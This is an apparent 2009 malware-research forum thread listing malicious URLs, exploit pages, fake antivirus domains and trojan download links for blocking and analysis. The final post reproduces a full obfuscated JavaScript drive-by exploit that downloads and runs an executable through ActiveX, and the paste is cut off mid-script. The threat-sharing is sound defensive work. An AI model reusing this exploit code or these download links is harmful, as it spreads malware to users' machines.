Author Topic: daily something...... (Read 856971 times)

sowhat-x · April 01, 2009, 04:21:38 pm

http://www.megaupload.com/?d=8L92M1AS
Just in case they take notice of it quickly and fix the directory read permissions,
i've archived the contents of download.malwareremovingtool.com:
58mb archive containing 22 executables,no password needed...

CkreM · April 01, 2009, 04:30:54 pm

Exploits/trojan

Code: [Select]

http://megabot.cn/index.phphttp://wepawet.iseclab.org/view.php?hash=a95957a8b26780652b9900b284787dbc&t=1238602058&type=js

Redirects to exploits:

Code: [Select]

http://loskut.cn/cotton.htmlhttp://wepawet.iseclab.org/view.php?hash=286bf4c04744e908b56a31102a09ac69&t=1238590602&type=js

Code: [Select]

http://ufomany.by.ruhttp://wepawet.iseclab.org/view.php?hash=fdb7fd5376b78cb765a7c9611b9bd053&t=1238595797&type=js

Zbot:

Code: [Select]

http://211.95.79.114/load/ldr.exehttp://www.virustotal.com/analisis/3800cd2ec6b09e059fcbe102d7e54b39

CM_MWR · April 01, 2009, 06:00:28 pm

List I was working on before i had my memory loss.

Code: [Select]

http://amnepofig.ru/test/loader.exe
http://www.mydataporch.com/bot.exe
http://www.cplnn.com/bbot.exe
http://web.cplnn.com/mmf32.exe
http://steer2.co.uk/im/172.exe
http://steer2.co.uk/im/88.exe
http://steer2.co.uk/im/adv.exe
http://steer2.co.uk/im/podmena.exe
http://edwardhomepage.info/172.exe
http://edwardhomepage.info/88.exe
http://edwardhomepage.info/adv.exe
http://edwardhomepage.info/podmena.exe
http://usabreakingnews.com/172.exe
http://usabreakingnews.com/88.exe
http://usabreakingnews.com/adv.exe
http://usabreakingnews.com/fuck3.exe
http://tmr-unlimited.com/172.exe
http://tmr-unlimited.com/setup.exe
http://tmr-unlimited.com/adv.exe
http://tmr-unlimited.com/fuck3.exe
http://tryithere.net/fuck3.exe
http://tryithere.net/88.exe
http://tryithere.net/l.exe
http://tryithere.net/adv.exe
http://tri-visionhomes.com/im/172.exe
http://tri-visionhomes.com/im/podmena.exe
http://tri-visionhomes.com/im/adv.exe
http://tri-visionhomes.com/im/s.exe
http://keepongoing.info/172.exe
http://keepongoing.info/secure.exe
http://211.95.78.66/ruzs/readme.txt
http://91.212.65.12/o9s833f/uerty/setup.exe
http://91.212.65.12/o9s833f/uerty/upd_beta.exe
http://195.88.80.150/myfiles/123/v302/file.exe
http://193.138.173.160/myfiles/100/v300/file.exe
http://193.138.173.160/myfiles/123/v302/file.exe
http://77.221.153.174/.c/o/rdr.exe
http://basesrv.net/base/kernel32.exe
http://91.207.61.180/images/138/v3/file.exe
http://aksajans.com/gif/nfr.exe
http://aksajans.com/gif/pp.03.exe
http://211.95.78.66/log/ldr.txt
http://powelldirects.com/stat/main.exe
http://zyujgss.com/zos/ue.exe
http://incredible.kiev.ua/suez/ldr.exe

I think many are gone bye bye now. $:-\$

CkreM · April 01, 2009, 08:26:27 pm

Zbot:

Code: [Select]

http://ctuf.info/ldr.exe
http://ctuf.info/cfg.bin
http://zeus-logs.biz/ldr.exe
http://zeus-logs.biz/cfg.bin

SysAdMini · April 02, 2009, 08:23:06 pm

Code: [Select]

paksusic.cn/nuc/index.php
http://wepawet.cs.ucsb.edu/view.php?hash=54bef4b232fec015b149b37a0c11fb9a&t=1238703827&type=js
http://www.virustotal.com/analisis/5566b16433e8c935625315dd76f619bf

CkreM · April 02, 2009, 10:21:11 pm

Exploit which leads to trojan on MDL already:

Code: [Select]

http://dnsmytruedns.com/nuc/spl/pdf.pdfhttp://wepawet.iseclab.org/view.php?hash=a6ddc93d17f80b8200c9dffa41b5a3a0&t=1238704964&type=js

Other trojan there:

Code: [Select]

http://dnsmytruedns.com/nuc/exe.phphttp://www.virustotal.com/analisis/20fbf18e0a83f244a8a9a9a68068db80

Redirect to exploits:

Code: [Select]

http://aaaimmigration.com/http://wepawet.iseclab.org/view.php?hash=7cb8f06a3c45746da10f644b71027a98&t=1238706643&type=js

Exploits/trojan:

Code: [Select]

http://p0rn-movies.com/77/cache/readme.pdfhttp://wepawet.iseclab.org/view.php?hash=a2982470cd2fbee7be138128ef6e8d0d&t=1238707074&type=js

Trojan:

Code: [Select]

http://findwife.asia/unique/1.exehttp://www.virustotal.com/analisis/6eae1c969cc3e7aae2f7ae0982be3bef

Exploit/Trojan:

Code: [Select]

http://193.200.255.19/~timchenko/cms/index.phphttp://wepawet.iseclab.org/view.php?hash=832a4879ab612a34ba0c854471d72747&t=1238714177&type=js

Redirect to fake Av:

Code: [Select]

http://kogerta.com/redirect/bucks.php
fake AV :

Code: [Select]

system-scan-1.biz
Exploit/trojan:

Code: [Select]

http://hostyapics.net/img/index.phphttp://wepawet.iseclab.org/view.php?hash=9e754a227c062120b20e7864e1e4ed59&t=1238720525&type=js

GmG · April 03, 2009, 02:54:47 pm

Koobface

Code: [Select]

http://xviewworldmy1.com/download/1/1000/5
http://viewworldmy1.com/download/1/1000/5

SysAdMini · April 03, 2009, 06:39:02 pm

exploits/trojan

Code: [Select]

www.homesy.net/zel/index.phphttp://wepawet.cs.ucsb.edu/view.php?hash=e5e78672b3f7a7e8c52cda045bd24bf1&t=1238782592&type=js
http://www.virustotal.com/analisis/445d8300ab224462d9a00448318abe1a

SysAdMini · April 04, 2009, 06:46:25 am

exploits/trojan

Code: [Select]

ispacemac.ru/1/in.phphttp://wepawet.cs.ucsb.edu/view.php?hash=049acfef69985d06934cb5d5e5098311&t=1238827604&type=js
http://www.virustotal.com/analisis/13954a7dd49b63eca41859e756b0e0a5

exploits/trojan

Code: [Select]

2icqmag.ru/mix/index.phphttp://wepawet.cs.ucsb.edu/view.php?hash=f1fb4e76dc9849b5a935d5b0d7c65553&t=1238827889&type=js
http://www.virustotal.com/analisis/a766c088385f0b406438e4051e821731

SysAdMini · April 05, 2009, 05:02:56 pm

Fake AVs

Those ones were reported from Steven as located at zlkon, but we have been moved to ip 64.191.12.38.

Code: [Select]

antispylinks.com
antispyme.com
antispywareup.com
antiviruscheckout.com
antivirusup.com
goldpcguard.com
pcsecuretools.com

Reported by Anthony

Code: [Select]

78.26.179.131

best-tube-home.com

78.26.179.137

files.ms-loads-av.com/exe/setup_1_2_1.exe

66.197.154.198

goscanside.com
scan6zoom.com
scan6safe.com
userscan6.com
litescan6.com

209.44.126.14

fastsecurityscan.com
thegreatsecurity.com
truescansecurity.com
topsoftscanner.com/download.php
topsoftscanner.com/install/ws.zip

213.163.65.10

iloveyourbrain.com/scan/
loyal-tube.com/codec.exe
loyaldown99.com/codec.exe
loyaltube09.com/codec.exe
rakompoporyadkunazaryadku.com/codec.exe
ruler-domains.com/codec.exe
setupdatdownload.com/codec.exe
tube-loyal.com/codec.exe
tubeloyal.com/codec.exe
tubeloyaln.com/codec.exe
billingpayment.netcodecs.tubeloyaln.com/codec.exe
lamer.tubeloyaln.com/codec.exe
videosz.tubeloyaln.com/codec.exe
wedare.tubeloyaln.com/codec.exe
velzevuladmin.com/codec.exe
winpcdown09.com/codec.exe
winpcdown99.com/codec.exe
xp-police-09.com/codec.exe
xp-police-2009.com/codec.exe
xp-police-antivirus.com/codec.exe
xp-police-av.com/codec.exe
xp-police-engine.com/codec.exe
xp-police.com/codec.exe
*.xp-police.com/codec.exe

92.38.0.41

wincodecupdate.com/codec.exe

94.76.213.227

antispywareproupdates.com/zsa360/winconfig.dll

78.46.216.233

onlinerobosphere.cn/zsa360/winconfig.dll

212.117.165.126

platinumsecurityupdate.com/zsa360/winconfig.dll

SysAdMini · April 05, 2009, 06:36:14 pm

Worm Win32/Boupke / Kernelbot (MS08-067)

Code: [Select]

freegoogla.vicp.net/download/em_setup.exehttp://www.virustotal.com/analisis/b58be0446e889229f163a6364e6279b1

Code: [Select]

94.23.93.6/firefox.exehttp://www.virustotal.com/analisis/0ff709c880ddbb9c8aa71d67593a0921 2/40
AntiVir 7.9.0.138 2009.04.05 TR/Crypt.XPACK.Gen
McAfee-GW-Edition 6.7.6 2009.04.03 Win32.Malware.dam (suspicious)
http://www.threatexpert.com/report.aspx?md5=39ee3f7eb571d59250df79914a7e8dbb

Code: [Select]

94.23.93.6/IEXPLORE.exehttp://www.virustotal.com/analisis/ffab02c5126508421194fcf00c6d50d1 5/40
http://www.threatexpert.com/report.aspx?md5=825cd2850f2d0d60d142adb65b35f575

Code: [Select]

irc.C3llBl0ck.com Port 9595C&C for the firefox.exe and IEXPLORE.exe above.

CM_MWR · April 05, 2009, 06:45:34 pm

233242.com/1/include/spl.php?do=foxit
233242.com/1/index.php
233242.com/1/load.php
http://www.virustotal.com/analisis/94c84868ce8339d909b4b344275e1710

I believe reports to

newsineurope.net/z/config.bin
newsineurope.net/z/s.php?1=smoked_000de8e6&i=test
newsineurope.net/z/s.php?2=smoked_000de8e6&n=0&v=16778770&i=test&s=0&sp=0&lcp=0&pr=0
newsineurope.net/z/s.php?2=smoked_000de8e6&n=1&v=16778770&i=test&s=0&sp=0&lcp=0&pr=0
newsineurope.net/z/s.php?3=smoked_000de8e6&id=1238936099

233242.com/1/

Code: [Select]

<style>.dsA86BSFIK_41K{display:none;}</style>
<b class="dsA86BSFIK_41K" id="K_41K1">*e!***v*!*a*l!*</b>
<script>window.onerror = return(true);</script>
<div class="dsA86BSFIK_41K" id="dsA86BSFIK_41K">13.10.118.97.114.32.75.95.52.49.75.65.113.112.32.61.32.100.111.99.117.109.101.110.116.46.99.114.101.97.116.101.69.108.101.109.101.110.116.40.39.111.98.106.101.99.116.39.41.59.13.10.118.97.114.32.75.95.52.49.75.66.113.112.32.61.32.117.110.101.115.99.97.112.101.40.34.37.52.49.68.37.52.70.68.66.37.50.101.83.116.114.101.97.37.54.68.34.41.59.32.13.10.75.95.52.49.75.65.113.112.46.115.101.116.65.116.116.114.105.98.117.116.101.40.39.105.100.39.44.39.75.95.52.49.75.65.113.112.39.41.59.13.10.118.97.114.32.75.95.52.49.75.67.113.112.32.61.32.117.110.101.115.99.97.112.101.40.34.109.115.120.109.108.50.46.88.37.52.68.76.72.37.53.52.84.80.34.41.59.13.10.75.95.52.49.75.65.113.112.46.115.101.116.65.116.116.114.105.98.117.116.101.40.39.99.108.97.115.115.105.100.39.44.39.99.108.115.105.100.58.66.68.57.54.67.53.53.54.45.54.53.65.51.45.49.49.68.48.45.57.56.51.65.45.48.48.67.48.52.70.67.50.57.69.51.54.39.41.59.13.10.118.97.114.32.75.95.52.49.75.68.113.112.32.61.32.48.59.13.10.116.114.121.13.10.123.13.10.118.97.114.32.75.95.52.49.75.69.113.112.32.61.32.75.95.52.49.75.65.113.112.46.67.114.101.97.116.101.79.98.106.101.99.116.40.75.95.52.49.75.66.113.112.44.34.34.41.59.13.10.75.95.52.49.75.68.113.112.32.61.32.49.59.13.10.125.13.10.99.97.116.99.104.40.101.41.123.125.13.10.105.102.32.40.75.95.52.49.75.68.113.112.32.33.61.32.49.41.13.10.123.13.10.116.114.121.13.10.123.13.10.118.97.114.32.75.95.52.49.75.69.113.112.32.61.32.110.101.119.32.65.99.116.105.118.101.88.79.98.106.101.99.116.40.75.95.52.49.75.66.113.112.41.59.13.10.75.95.52.49.75.68.113.112.32.61.32.49.59.13.10.125.13.10.99.97.116.99.104.40.101.41.123.125.13.10.125.13.10.105.102.32.40.75.95.52.49.75.68.113.112.32.61.61.32.49.41.13.10.123.13.10.116.114.121.13.10.123.13.10.118.97.114.32.75.95.52.49.75.70.113.112.32.61.32.75.95.52.49.75.65.113.112.46.67.114.101.97.116.101.79.98.106.101.99.116.40.34.83.104.101.108.108.46.65.112.112.108.105.99.97.116.105.111.110.34.44.34.34.41.59.13.10.118.97.114.32.75.95.52.49.75.75.113.112.32.61.32.48.120.55.70.70.70.70.70.70.69.59.13.10.118.97.114.32.75.95.52.49.75.71.113.112.32.61.32.110.101.119.32.65.99.116.105.118.101.88.79.98.106.101.99.116.40.75.95.52.49.75.67.113.112.41.59.13.10.75.95.52.49.75.71.113.112.46.111.112.101.110.40.34.71.69.84.34.44.34.104.116.116.112.58.47.47.50.51.51.50.52.50.46.99.111.109.47.49.47.108.111.97.100.46.112.104.112.34.44.102.97.108.115.101.41.59.32.13.10.75.95.52.49.75.71.113.112.46.115.101.110.100.40.41.59.32.13.10.75.95.52.49.75.69.113.112.46.116.121.112.101.32.61.32.49.59.13.10.75.95.52.49.75.69.113.112.46.111.112.101.110.40.41.59.32.13.10.75.95.52.49.75.69.113.112.46.87.114.105.116.101.40.75.95.52.49.75.71.113.112.46.114.101.115.112.111.110.115.101.66.111.100.121.41.59.13.10.118.97.114.32.75.95.52.49.75.72.113.112.32.61.32.34.67.58.92.92.78.84.68.69.84.69.67.84.46.69.88.69.34.59.13.10.75.95.52.49.75.69.113.112.46.83.97.118.101.84.111.70.105.108.101.40.75.95.52.49.75.72.113.112.44.50.41.59.32.13.10.75.95.52.49.75.69.113.112.46.99.108.111.115.101.40.41.59.13.10.75.95.52.49.75.70.113.112.46.83.104.101.108.108.69.120.101.99.117.116.101.40.75.95.52.49.75.72.113.112.41.59.13.10.125.13.10.99.97.116.99.104.40.101.41.123.125.13.10.125.13.10</div>
<script>
var K_41KC89Bwe2bv = document;
K_41KC89Bwe2bv = K_41KC89Bwe2bv.getElementById('K_41K1');
K_41KC89Bwe2bv = K_41KC89Bwe2bv.innerHTML;
var K_41Ktrash = "q!w!e!r!t!y!";
K_41KC89Bwe2bv = K_41KC89Bwe2bv.replace(/[!|*]/g, "");
K_41Ktrash = K_41Ktrash.replace(/[!]/g,"");
var K_41Kttt = eval(K_41KC89Bwe2bv);
var K_41KD81Bwe2b = document.getElementById("dsA86BSFIK_41K");
K_41Ktrash = K_41Ktrash.replace(/[q]/g,"");
K_41KD81Bwe2b = K_41KD81Bwe2b.innerHTML;
K_41KD81Bwe2b = K_41KD81Bwe2b.replace(/[A-Za-z]/g,function (K_41KCK_41K2dbQ){ return String.fromCharCode((((K_41KCK_41K2dbQ = K_41KCK_41K2dbQ.charCodeAt(0)) & 223) - 52) % 26 + (K_41KCK_41K2dbQ & 32) + 65); }).split(".");
K_41Ktrash = K_41Ktrash.replace(/[w]/g,"");
var K_41KEW81Bwe2b = "!!!";
K_41KEW81Bwe2b = K_41KEW81Bwe2b.replace(/[!]/g,"");
for (var K_41KK_41K=0; K_41KK_41K<K_41KD81Bwe2b.length; K_41KK_41K++){ K_41KEW81Bwe2b += String.fromCharCode(K_41KD81Bwe2b[K_41KK_41K]); }
K_41Kttt(K_41KEW81Bwe2b);
</script>
<style>.kUbS1mK_41K{display:none;}</style>
<b class="kUbS1mK_41K" id="K_41K1">@e!@@@v@!@a@l!@</b>
<script>window.onerror = return(true);</script>
<div class="kUbS1mK_41K" id="kUbS1mK_41K">75.95.52.49.75.97.110.114.40.41.59.13.10.102.117.110.99.116.105.111.110.32.75.95.52.49.75.97.110.114.40.41.32.123.13.10.118.97.114.32.75.95.52.49.75.98.110.114.32.61.32.100.111.99.117.109.101.110.116.46.99.114.101.97.116.101.69.108.101.109.101.110.116.40.39.111.98.106.101.99.116.39.41.59.13.10.75.95.52.49.75.98.110.114.46.115.101.116.65.116.116.114.105.98.117.116.101.40.39.105.100.39.44.39.75.95.52.49.75.98.110.114.39.41.59.13.10.75.95.52.49.75.98.110.114.46.115.101.116.65.116.116.114.105.98.117.116.101.40.39.99.108.97.115.115.105.100.39.44.39.99.108.39.43.39.115.105.39.43.34.100.58.66.68.34.43.34.57.54.67.53.34.43.39.53.54.45.54.53.65.51.45.49.39.43.34.49.68.48.45.57.56.34.43.39.51.65.45.48.48.39.43.34.67.48.52.34.43.39.70.67.50.39.43.34.57.69.34.43.39.51.54.39.41.59.13.10.116.114.121.32.123.13.10.118.97.114.32.75.95.52.49.75.67.110.114.32.61.32.75.95.52.49.75.98.110.114.46.67.114.101.97.116.101.79.98.106.101.99.116.40.39.109.115.39.43.34.120.109.34.43.39.108.50.39.43.34.46.34.43.39.88.77.39.43.34.76.72.34.43.39.84.39.43.39.84.80.39.44.39.39.41.59.13.10.118.97.114.32.75.95.52.49.75.68.110.114.32.61.32.75.95.52.49.75.98.110.114.46.67.114.101.97.116.101.79.98.106.101.99.116.40.34.83.104.101.108.34.43.34.108.46.65.112.34.43.34.112.108.34.43.34.105.99.97.116.105.34.43.34.111.110.34.44.39.39.41.59.13.10.118.97.114.32.75.95.52.49.75.69.110.114.32.61.32.75.95.52.49.75.98.110.114.46.67.114.101.97.116.101.79.98.106.101.99.116.40.39.97.100.39.43.39.111.100.39.43.34.98.46.34.43.39.115.116.39.43.34.114.101.34.43.39.97.109.39.44.39.39.41.59.13.10.116.114.121.32.123.32.75.95.52.49.75.69.110.114.46.116.121.112.101.32.61.32.49.59.13.10.75.95.52.49.75.67.110.114.46.111.112.101.110.40.39.71.39.43.34.69.34.43.39.84.39.44.39.104.116.116.112.58.47.47.50.51.51.50.52.50.46.99.111.109.47.49.47.108.111.97.100.46.112.104.112.39.44.102.97.108.115.101.41.59.13.10.75.95.52.49.75.67.110.114.46.115.101.110.100.40.41.59.32.75.95.52.49.75.69.110.114.46.111.112.101.110.40.41.59.13.10.75.95.52.49.75.69.110.114.46.87.114.105.116.101.40.75.95.52.49.75.67.110.114.46.114.101.115.112.111.110.115.101.66.111.100.121.41.59.13.10.118.97.114.32.75.95.52.49.75.70.110.114.32.61.32.39.46.47.47.46.46.47.47.115.118.99.104.111.115.116.46.101.120.101.39.59.13.10.75.95.52.49.75.69.110.114.46.83.97.118.101.84.111.70.105.108.101.40.75.95.52.49.75.70.110.114.44.50.41.59.13.10.75.95.52.49.75.69.110.114.46.67.108.111.115.101.40.41.59.13.10.125.32.99.97.116.99.104.40.101.41.32.123.125.13.10.116.114.121.32.123.32.75.95.52.49.75.68.110.114.46.115.104.101.108.108.101.120.101.99.117.116.101.40.75.95.52.49.75.70.110.114.41.59.32.125.32.99.97.116.99.104.40.101.41.32.123.125.125.13.10.99.97.116.99.104.40.101.41.123.125.125</div>
<script>
var K_41KC89Bwe2bv = document;
K_41KC89Bwe2bv = K_41KC89Bwe2bv.getElementById('K_41K1');
K_41KC89Bwe2bv = K_41KC89Bwe2bv.innerHTML;
var K_41Ktrash = "q!w!e!r!t!y!";
K_41KC89Bwe2bv = K_41KC89Bwe2bv.replace(/[!|@]/g, "");
K_41Ktrash = K_41Ktrash.replace(/[!]/g,"");
var K_41Kttt = eval(K_41KC89Bwe2bv);
var K_41KD81Bwe2b = document.getElementById("kUbS1mK_41K");
K_41Ktrash = K_41Ktrash.replace(/[q]/g,"");
K_41KD81Bwe2b = K_41KD81Bwe2b.innerHTML;
K_41KD81Bwe2b = K_41KD81Bwe2b.replace(/[A-Za-z]/g,function (K_41KCK_41K2dbQ){ return String.fromCharCode((((K_41KCK_41K2dbQ = K_41KCK_41K2dbQ.charCodeAt(0)) & 223) - 52) % 26 + (K_41KCK_41K2dbQ & 32) + 65); }).split(".");
K_41Ktrash = K_41Ktrash.replace(/[w]/g,"");
var K_41KEW81Bwe2b = "!!!";
K_41KEW81Bwe2b = K_41KEW81Bwe2b.replace(/[!]/g,"");
for (var K_41KK_41K=0; K_41KK_41K<K_41KD81Bwe2b.length; K_41KK_41K++){ K_41KEW81Bwe2b += String.fromCharCode(K_41KD81Bwe2b[K_41KK_41K]); }
K_41Kttt(K_41KEW81Bwe2b);
</script>
<style>.IkZaQm6AojiWK_41K{display:none;}</style>
<b class="IkZaQm6AojiWK_41K" id="K_41K1">^e!^^^v^!^a^l!^</b>
<script>window.onerror = return(true);</script>
<div class="IkZaQm6AojiWK_41K" id="IkZaQm6AojiWK_41K">13.10.118.97.114.32.75.95.52.49.75.65.101.119.61.39.104.116.116.112.58.47.47.50.51.51.50.52.50.46.99.111.109.47.49.47.108.111.97.100.46.112.104.112.39.59.13.10.102.117.110.99.116.105.111.110.32.75.95.52.49.75.66.101.119.40.111.44.110.41.123.13.10.118.97.114.32.114.61.110.117.108.108.59.116.114.121.123.114.61.111.46.67.114.101.97.116.101.79.98.106.101.99.116.40.110.41.125.99.97.116.99.104.40.101.41.123.125.105.102.40.33.114.41.123.116.114.121.123.114.61.111.46.67.114.101.97.116.101.79.98.106.101.99.116.40.110.44.34.34.41.125.99.97.116.99.104.40.101.41.123.125.125.105.102.40.33.114.41.123.116.114.121.123.114.61.111.46.67.114.101.97.116.101.79.98.106.101.99.116.40.110.44.34.34.44.34.34.41.125.99.97.116.99.104.40.101.41.123.125.125.105.102.40.33.114.41.123.116.114.121.123.114.61.111.46.71.101.116.79.98.106.101.99.116.40.34.34.44.110.41.125.99.97.116.99.104.40.101.41.123.125.125.105.102.40.33.114.41.123.116.114.121.123.114.61.111.46.71.101.116.79.98.106.101.99.116.40.110.44.34.34.41.125.99.97.116.99.104.40.101.41.123.125.125.105.102.40.33.114.41.123.116.114.121.123.114.61.111.46.71.101.116.79.98.106.101.99.116.40.110.41.125.99.97.116.99.104.40.101.41.123.125.125.114.101.116.117.114.110.40.114.41.59.13.10.125.13.10.102.117.110.99.116.105.111.110.32.75.95.52.49.75.67.101.119.40.97.41.123.13.10.102.110.97.109.101.61.34.102.105.108.101.46.101.120.101.34.59.118.97.114.32.75.95.52.49.75.68.101.119.61.97.46.67.114.101.97.116.101.79.98.106.101.99.116.40.34.83.99.114.105.112.116.105.110.103.46.70.105.108.101.83.121.115.116.101.109.79.98.106.101.99.116.34.44.34.34.41.59.118.97.114.32.115.97.112.61.75.95.52.49.75.66.101.119.40.97.44.34.83.104.101.108.108.46.65.112.112.108.105.99.97.116.105.111.110.34.41.59.118.97.114.32.120.61.75.95.52.49.75.66.101.119.40.97.44.34.65.68.79.68.66.46.83.116.114.101.97.109.34.41.59.118.97.114.32.75.95.52.49.75.69.101.119.61.110.117.108.108.59.102.110.97.109.101.61.75.95.52.49.75.68.101.119.46.66.117.105.108.100.80.97.116.104.40.75.95.52.49.75.68.101.119.46.71.101.116.83.112.101.99.105.97.108.70.111.108.100.101.114.40.50.41.44.102.110.97.109.101.41.59.120.46.77.111.100.101.61.51.59.13.10.116.114.121.123.75.95.52.49.75.69.101.119.61.75.95.52.49.75.66.101.119.40.97.44.34.77.105.99.114.111.115.111.102.116.46.88.77.76.72.84.84.80.34.41.59.75.95.52.49.75.69.101.119.46.111.112.101.110.40.34.71.69.84.34.44.75.95.52.49.75.65.101.119.44.102.97.108.115.101.41.59.125.13.10.99.97.116.99.104.40.101.41.123.116.114.121.123.75.95.52.49.75.69.101.119.61.75.95.52.49.75.66.101.119.40.97.44.34.77.83.88.77.76.50.46.88.77.76.72.84.84.80.34.41.59.75.95.52.49.75.69.101.119.46.111.112.101.110.40.34.71.69.84.34.44.75.95.52.49.75.65.101.119.44.102.97.108.115.101.41.59.125.13.10.99.97.116.99.104.40.101.41.123.116.114.121.123.75.95.52.49.75.69.101.119.61.75.95.52.49.75.66.101.119.40.97.44.34.77.83.88.77.76.50.46.83.101.114.118.101.114.88.77.76.72.84.84.80.34.41.59.75.95.52.49.75.69.101.119.46.111.112.101.110.40.34.71.69.84.34.44.75.95.52.49.75.65.101.119.44.102.97.108.115.101.41.59.125.13.10.99.97.116.99.104.40.101.41.13.10.123.13.10.116.114.121.13.10.123.13.10.75.95.52.49.75.69.101.119.61.110.101.119.32.88.77.76.72.116.116.112.82.101.113.117.101.115.116.40.41.59.13.10.75.95.52.49.75.69.101.119.46.111.112.101.110.40.34.71.69.84.34.44.75.95.52.49.75.65.101.119.44.102.97.108.115.101.41.59.13.10.125.13.10.99.97.116.99.104.40.101.41.123.114.101.116.117.114.110.32.48.59.125.125.125.125.13.10.120.46.84.121.112.101.61.49.59.75.95.52.49.75.69.101.119.46.115.101.110.100.40.110.117.108.108.41.59.114.98.61.75.95.52.49.75.69.101.119.46.114.101.115.112.111.110.115.101.66.111.100.121.59.120.46.79.112.101.110.40.41.59.120.46.87.114.105.116.101.40.114.98.41.59.120.46.83.97.118.101.84.111.102.105.108.101.40.102.110.97.109.101.44.50.41.59.115.97.112.46.83.104.101.108.108.69.120.101.99.117.116.101.40.102.110.97.109.101.41.59.13.10.114.101.116.117.114.110.32.49.59.13.10.125.13.10.102.117.110.99.116.105.111.110.32.75.95.52.49.75.70.101.119.40.41.123.13.10.118.97.114.32.105.61.48.59.118.97.114.32.75.95.52.49.75.71.101.119.61.110.101.119.32.65.114.114.97.121.40.39.66.68.57.54.67.53.53.54.45.54.53.65.51.45.49.49.68.48.45.57.56.51.65.45.48.48.67.48.52.70.67.50.57.69.51.54.39.44.39.66.68.57.54.67.53.53.54.45.54.53.65.51.45.49.49.68.48.45.57.56.51.65.45.48.48.67.48.52.70.67.50.57.69.51.48.39.44.39.65.66.57.66.67.69.68.68.45.69.67.55.69.45.52.55.69.49.45.57.51.50.50.45.68.52.65.50.49.48.54.49.55.49.49.54.39.44.39.48.48.48.54.70.48.51.51.45.48.48.48.48.45.48.48.48.48.45.67.48.48.48.45.48.48.48.48.48.48.48.48.48.48.52.54.39.44.39.48.48.48.54.70.48.51.65.45.48.48.48.48.45.48.48.48.48.45.67.48.48.48.45.48.48.48.48.48.48.48.48.48.48.52.54.39.44.39.54.101.51.50.48.55.48.97.45.55.54.54.100.45.52.101.101.54.45.56.55.57.99.45.100.99.49.102.97.57.49.100.50.102.99.51.39.44.39.54.52.49.52.53.49.50.66.45.66.57.55.56.45.52.53.49.68.45.65.48.68.56.45.70.67.70.68.70.51.51.69.56.51.51.67.39.44.39.55.70.53.66.55.70.54.51.45.70.48.54.70.45.52.51.51.49.45.56.65.50.54.45.51.51.57.69.48.51.67.48.65.69.51.68.39.44.39.48.54.55.50.51.69.48.57.45.70.52.67.50.45.52.51.99.56.45.56.51.53.56.45.48.57.70.67.68.49.68.66.48.55.54.54.39.44.39.54.51.57.70.55.50.53.70.45.49.66.50.68.45.52.56.51.49.45.65.57.70.68.45.56.55.52.56.52.55.54.56.50.48.49.48.39.44.39.66.65.48.49.56.53.57.57.45.49.68.66.51.45.52.52.102.57.45.56.51.66.52.45.52.54.49.52.53.52.67.56.52.66.70.56.39.44.39.68.48.67.48.55.68.53.54.45.55.67.54.57.45.52.51.70.49.45.66.52.65.48.45.50.53.70.53.65.49.49.70.65.66.49.57.39.44.39.69.56.67.67.67.68.68.70.45.67.65.50.56.45.52.57.54.98.45.66.48.53.48.45.54.67.48.55.67.57.54.50.52.55.54.66.39.44.110.117.108.108.41.59.13.10.119.104.105.108.101.40.75.95.52.49.75.71.101.119.91.105.93.41.13.10.123.13.10.118.97.114.32.97.61.110.117.108.108.59.13.10.97.61.100.111.99.117.109.101.110.116.46.99.114.101.97.116.101.69.108.101.109.101.110.116.40.34.111.98.106.101.99.116.34.41.59.13.10.97.46.115.101.116.65.116.116.114.105.98.117.116.101.40.34.99.108.97.115.115.105.100.34.44.34.99.108.115.105.100.58.34.43.75.95.52.49.75.71.101.119.91.105.93.41.59.13.10.105.102.40.97.41.123.116.114.121.123.118.97.114.32.98.61.75.95.52.49.75.66.101.119.40.97.44.34.83.104.101.108.108.46.65.112.112.108.105.99.97.116.105.111.110.34.41.59.13.10.105.102.40.98.41.123.105.102.40.75.95.52.49.75.67.101.119.40.97.41.41.114.101.116.117.114.110.32.49.59.125.125.99.97.116.99.104.40.101.41.123.125.125.13.10.105.43.43.59.13.10.125.13.10.125.13.10.105.102.40.75.95.52.49.75.70.101.119.40.41.41.32.115.117.99.99.101.115.115.61.49.59.13.10</div>
<script>
var K_41KC89Bwe2bv = document;
K_41KC89Bwe2bv = K_41KC89Bwe2bv.getElementById('K_41K1');
K_41KC89Bwe2bv = K_41KC89Bwe2bv.innerHTML;
var K_41Ktrash = "q!w!e!r!t!y!";
K_41KC89Bwe2bv = K_41KC89Bwe2bv.replace(/[!|^]/g, "");
K_41Ktrash = K_41Ktrash.replace(/[!]/g,"");
var K_41Kttt = eval(K_41KC89Bwe2bv);
var K_41KD81Bwe2b = document.getElementById("IkZaQm6AojiWK_41K");
K_41Ktrash = K_41Ktrash.replace(/[q]/g,"");
K_41KD81Bwe2b = K_41KD81Bwe2b.innerHTML;
K_41KD81Bwe2b = K_41KD81Bwe2b.replace(/[A-Za-z]/g,function (K_41KCK_41K2dbQ){ return String.fromCharCode((((K_41KCK_41K2dbQ = K_41KCK_41K2dbQ.charCodeAt(0)) & 223) - 52) % 26 + (K_41KCK_41K2dbQ & 32) + 65); }).split(".");
K_41Ktrash = K_41Ktrash.replace(/[w]/g,"");
var K_41KEW81Bwe2b = "!!!";
K_41KEW81Bwe2b = K_41KEW81Bwe2b.replace(/[!]/g,"");
for (var K_41KK_41K=0; K_41KK_41K<K_41KD81Bwe2b.length; K_41KK_41K++){ K_41KEW81Bwe2b += String.fromCharCode(K_41KD81Bwe2b[K_41KK_41K]); }
K_41Kttt(K_41KEW81Bwe2b);
</script><script>
<style>.QIgskwBJjInK_41K{display:none;}</style>
<b class="QIgskwBJjInK_41K" id="K_41K1">*e!***v*!*a*l!*</b>
<script>window.onerror = return(true);</script>
<div class="QIgskwBJjInK_41K" 